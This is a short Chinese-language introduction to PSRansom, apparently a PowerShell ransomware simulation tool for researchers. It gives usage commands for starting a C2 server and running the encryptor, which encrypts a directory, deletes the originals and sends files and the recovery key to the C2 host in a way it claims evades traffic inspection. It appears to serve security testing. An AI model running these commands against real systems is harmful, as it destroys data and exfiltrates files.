如何使用PSRansom進行勒索軟件安全分析
關于PSRansom
PSRansom是一款帶有C2服務器功能的PowerShell勒索軟件模擬工具,該工具可以幫助廣大研究人員模擬針對任何操作系統平臺(只要安裝了PowerShell即可)的通用勒索軟件數據加密過程。在C2服務器功能的幫助下,我們甚至還可以通過HTTP從目標設備(客戶端)中提取文件,并在服務器端接收信息。
客戶端和服務器端之間的通信數據都經過了加密和編碼,因此是無法被基于流量審計的檢查工具所檢測到的。
工具要求
PowerShell 4.0或更高版本
工具下載
廣大研究人員可以使用下列命令將該項目源碼克隆至本地:git clone https://github.com/JoelGMSec/PSRansom
或者直接訪問該項目的【??Releases頁面??】下載工具的壓縮文件。
下載完成之后,我們將拿到兩個腳本:PSRansom和C2Server。第一個將模擬勒索軟件感染,而第二個將負責恢復文件及其恢復密鑰。
工具使用
該工具的使用非常簡單,我們只需要指明要加密的目錄、C2 服務器的 IP 或主機名以及接收連接的端口。
除此之外,如果我們需要發送加密文件,則需要在命令結尾添加-x參數選項即可。在解密的時候,只需要指明目錄和恢復密鑰即可。
工具使用樣例
首先,我們的測試場景定義如下:
- 勒索軟件將在 Windows 機器上運行
- 我們要加密的文件夾位于 C:\Backup
- C2 服務器將在 Kali Linux 上運行
- 所有流量都將通過代理查看詳細信息
接下來,我們看看該工具提供了哪些操作選項:
命令和控制服務器的使用也非常簡單,我們只需要指明監聽連接的端口和接收連接的端口即可。這里,我們使用的是80端口:
pwsh C2Server.ps1 + 80
接下來,我們將使用以下命令運行加密和滲透:
.\PSRansom.ps1 -e directory -s ServerC2 -p port -x
此時將生成24 個字母數字字符(小寫、大寫和數字)的隨機密鑰,數據將以 AES256 加密,并將恢復密鑰發送到 C2 服務器。
完成后,原始文件將被刪除,僅保留加密的文件:
服務器端將接收到類似如下圖所示的內容:
現在,我們將在服務器端接收到目標設備的信息、恢復密鑰、加密文件列表等:
許可證協議
本項目的開發與發布遵循??GPL-3.0??開源許可證協議。
項目地址
PSRansom:【??GitHub傳送門??】